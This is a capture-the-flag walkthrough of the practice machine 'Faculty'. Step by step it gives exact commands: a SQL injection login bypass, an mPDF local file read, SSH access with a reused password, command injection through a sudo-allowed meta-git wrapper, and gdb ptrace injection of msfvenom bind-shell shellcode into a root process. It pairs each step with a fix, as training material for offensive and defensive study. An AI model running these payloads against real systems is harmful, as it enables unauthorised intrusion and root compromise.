Faculty
Summary
I found that Faculty's PHP scheduling portal built its login SQL query by concatenating the username field directly, allowing an authentication bypass with a simple SQL injection payload. Inside the admin panel, a PDF-export feature that rendered my HTML through the mPDF library exposed an arbitrary local-file-read primitive via its annotation-attachment tag, which was used to pull the application's database configuration file and recover a MySQL password. That password had been reused as the SSH password for the local user gbyolo, giving a direct shell.
A misconfigured sudo rule let gbyolo run a custom meta-git wrapper as user developer, and the wrapper passed its clone argument straight to a shell, so a crafted argument executed arbitrary commands as developer — used to mint a SUID bash owned by developer, which gave a developer shell and the user flag. Finally, the gdb binary carried the cap_sys_ptrace Linux capability, which lets its holder attach to and inject code into any process on the host; the same meta-git injection primitive was used to run gdb as developer, attach to a root-owned cron process, and inject shellcode that returned a root shell, completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD5="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <generated>, <payload-from-above>, <session> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Confirms only 22/tcp (ssh) and 80/tcp (nginx 1.18.0) are open.
$ nmap -Pn -p- -sV $TARGETAdd the redirect target vhost so it resolves locally.
$ echo "$TARGET faculty.htb" | sudo tee -a /etc/hostsEnumerate the login form fields.
$ curl -sS -H 'Host: faculty.htb' http://$TARGET/login.php | grep -nE 'form|input|action'Exact commands 1
Auth-bypass payload; a valid session cookie (PHPSESSID) is returned in the response headers.
$ curl -sS -i -H 'Host: faculty.htb' -X POST http://$TARGET/admin/index.php -d "id_no=' OR 1=1#&password=x"FixUse parameterized queries in the login handlerCritical
Exact commands 3
Build the double-URL-encoded, base64'd annotation payload targeting db_connect.php.
$ python3 -c "import urllib.parse,base64;h='<annotation file=\"/var/www/html/scheduling/admin/db_connect.php\" content=\"x\" icon=\"Graph\" title=\"c\" pos-x=\"195\" />';print(base64.b64encode(urllib.parse.quote(urllib.parse.quote(h)).encode()).decode())"Submit the payload as the admin session obtained in step 2; response names the generated PDF.
$ curl -sS -H 'Host: faculty.htb' -b 'PHPSESSID=<session>' -X POST http://$TARGET/admin/download.php --data-urlencode 'pdf=<payload-from-above>'Download the PDF and extract the embedded file attachment (poppler-utils).
$ curl -sS -H 'Host: faculty.htb' -b 'PHPSESSID=<session>' -o out.pdf http://$TARGET/mpdf/tmp/<generated>.pdf && pdfdetach -saveall out.pdfFixDisable or restrict mPDF's annotation file-attachment featureHigh
Exact commands 1
Confirms the DB password also authenticates gbyolo over SSH.
$ sshpass -p "$PASSWORD5" ssh -o StrictHostKeyChecking=no gbyolo@$TARGET idFixDo not reuse database credentials for OS-level accountsHigh
Exact commands 3
Confirms the NOPASSWD meta-git rule for user developer.
$ ssh gbyolo@$TARGET 'sudo -l'Command injection via the unsanitized clone argument; drops a developer-owned SUID bash.
$ ssh gbyolo@$TARGET "cd /tmp && sudo -u developer /usr/local/bin/meta-git clone '0xdf||cp /bin/bash /tmp/devbash && chmod 4755 /tmp/devbash'"Use the SUID shell to prove developer access and read the flag. Replace real value with <user.txt>.
$ ssh gbyolo@$TARGET "/tmp/devbash -p -c 'id; cat /home/developer/user.txt'"
euid=1001(developer)FixRemove the unsafe meta-git sudo ruleCritical
Exact commands 6
Identifies gdb as carrying cap_sys_ptrace+ep.
$ ssh gbyolo@$TARGET 'getcap -r / 2>/dev/null'Identify a stable root-owned process PID to target (cron).
$ ssh gbyolo@$TARGET "cd /tmp && sudo -u developer /usr/local/bin/meta-git clone '0xdf||ps -C cron -o pid,user,comm #'"Generate bind-shell shellcode as raw hex bytes to inject.
$ msfvenom -p linux/x64/shell_bind_tcp LPORT=5600 -f hexRuns gdb (via the same injection primitive) as developer to attach to the root cron PID and write the shellcode into $rip, then continue execution.
$ ssh gbyolo@$TARGET "cd /tmp && sudo -u developer /usr/local/bin/meta-git clone '0xdf||/usr/bin/gdb -q -n -batch -x /tmp/inject-cron.gdb #'"Connect to the injected bind shell; run from a session on the box (e.g. An existing SSH connection with a local port-forward).
$ nc 127.0.0.1 5600Prove uid=0 before reading the flag. Replace real value with <root.txt>.
$ id && cat /root/root.txt
uid=0(root)FixRemove the cap_sys_ptrace capability from gdbCritical
setcap -r /usr/bin/gdb (debugging tools should not carry ptrace-all-processes rights outside a controlled dev environment). Periodically audit getcap -r / for unexpected capability grants.Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.